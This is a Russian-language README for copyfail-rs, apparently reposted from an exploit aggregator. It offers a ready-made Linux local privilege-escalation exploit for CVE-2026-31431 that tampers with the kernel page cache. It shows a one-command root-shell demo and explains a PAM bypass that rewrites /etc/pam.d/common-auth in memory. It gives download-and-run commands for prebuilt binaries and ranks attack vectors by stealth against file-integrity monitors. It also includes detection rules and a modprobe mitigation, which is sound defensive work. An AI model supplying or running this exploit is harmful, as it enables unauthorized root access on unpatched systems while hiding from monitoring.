## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DIEMOEVE-COPYFAIL-RS
# copyfail-rs
> Мультивекторный PoC + парное обнаружение для CVE-2026-31431 (CopyFail). Включает новый вектор обхода аутентификации PAM, которого нет ни в одном другом публичном PoC. Режим обнаружения ловит то, что AIDE / Wazuh / OSSEC / Tripwire структурно не могут.
Один статический бинарник. ~108 КБ. `no_std` musl.
## Демо
root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Одна команда. Root-шелл. PAM-киллшот под капотом (одиночная запись 4 байт в /etc/pam.d/common-auth), PTY-сброс в root через sudo с отброшенным паролем. Строка `[sudo] password for noot:` мелькает на мгновение — sudo всегда выводит это приглашение; бинарник подаёт ему любую строку, и сбой pam_unix каскадно проходит через закомментированный pam_deny.so к pam_permit.so → root.
root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← что реально загружено (мутировано)
disk: 117dab1c... ← что видят AIDE / Wazuh / Tripwire (чисто)
Вот и весь проект. Диск чист, кэш мутирован. Каждый публичный FIM слеп. Этот инструмент — нет.
## Быстрый старт (без сборки)
Готовые статические бинарники на релизе v0.1.0. Выберите свою архитектуру, скачайте, запустите.
root@kitploit:~
# x86_64 (большинство ноутбуков + облачные серверы)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Другие архитектуры:
Архитектура| Файл
---|---
ARM64 (aarch64)| `copyfail-aarch64-musl`
ARMv7 (Raspberry Pi 3+)| `copyfail-armv7-musleabihf`
Проверка целостности:
root@kitploit:~
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
Статические musl-бинарники, без зависимостей времени выполнения, работают на любом Linux.
## Почему FIM слеп
Мутация page cache. Нет записи через VFS. Нет грязной страницы. Нет события inotify. Периодическое повторное сканирование соревнуется с вытеснением.
AIDE/Wazuh/OSSEC/Tripwire/Samhain читают через буферизованный ввод-вывод → page cache → хешируют мутированные байты как истину. Или после вытеснения хешируют чистый диск → «никаких изменений никогда не было».
Для обнаружения нужен O_DIRECT (пропуск кэша) + буферизованное чтение (попадание в кэш) + разница хешей. Несовпадение = сигнатура CopyFail. Это и есть `--scan`.
## Векторы
Автовыбор: `--vector auto` (по умолчанию). Ранжирует pam > su > passwd по скрытности. Откатывается при сбое.
## Обнаружение
`--json` везде для приёма в SIEM.
## Артефакты обнаружения
`detection/`:
* `sigma/copyfail-af-alg.yml`, Sigma-правило, закиньте в свой SIEM
* `auditd/copyfail.rules`, `augenrules --load`
* `ebpf/copyfail-trace.bt`, однострочник bpftrace
* `apparmor/copyfail-block.profile`, правило запрета AppArmor 3.0+
* `mitigation/disable-algif.sh`, чёрный список modprobe + предупреждение `=y`
## Смягчение
root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Или основная ветка ядра `a664bf3d603d` (апрель 2026). На данный момент: только Debian Sid/Forky выпустили. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle — все уязвимы.
Оговорка: `CONFIG_CRYPTO_USER_API_AEAD=y` (встроенный) молча обходит modprobe. `--check` предупреждает.
После эксплуатации + смягчения: мутированный кэш сохраняется до перезагрузки. Смягчение блокирует НОВЫЕ эксплойты, но не отменяет прошлые.
## Сборка
root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
Цель| Размер
---|---
x86_64-musl| 108 КБ
aarch64-musl| 96 КБ
armv7-musleabihf| 86 КБ
`no_std`. Без аллокатора. Без зависимостей времени выполнения. Один статический бинарник.
Готовые артефакты и SHA256-суммы прикреплены к релизам GitHub.
## Использование
См. `docs/usage.md` для конкретных примеров на один экран для каждого режима (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Для более развёрнутой повествовательной версии этого README (больше контекста, глубже изложение) см. `BLOG.md`.
## Модель угроз
См. `docs/threat-model.md`.
## Сравнение
## Авторизация и этика
Только собственное оборудование. Нет CLI-шлюза (театр безопасности). README + LICENSE = рамки.
Режим обнаружения — только чтение. Безопасен на проде.
Режим эксплуатации мутирует page cache ядра. Только в RAM, но относитесь как к разрушительному. Блокирует аутентификацию для любого последующего вызывающего.
## Благодарности
CVE-2026-31431 раскрыта Theori / Xint 2026-04-29 (разбор, блог Xint). Предыдущие публичные PoC:
* theori-io/copy-fail-CVE-2026-31431 (Python, 732 байта, вектор su)
* tgies/copy-fail-c (C с nolibc, векторы su + passwd, переносимый)
* badsectorlabs/copyfail-go (статический Go-бинарник, вектор su)
Этот проект (`copyfail-rs`): добавляет вектор обхода аутентификации PAM, двухрежимное обнаружение, артефакты IR.
## Лицензия
MIT.
## Ссылки
* https://copy.fail/
* Исправление Linux: `a664bf3d603d`
* Нижняя граница: `72548b093ee3` (4.14, авг 2017)
* Аналог: Dirty Pipe (CVE-2022-0847)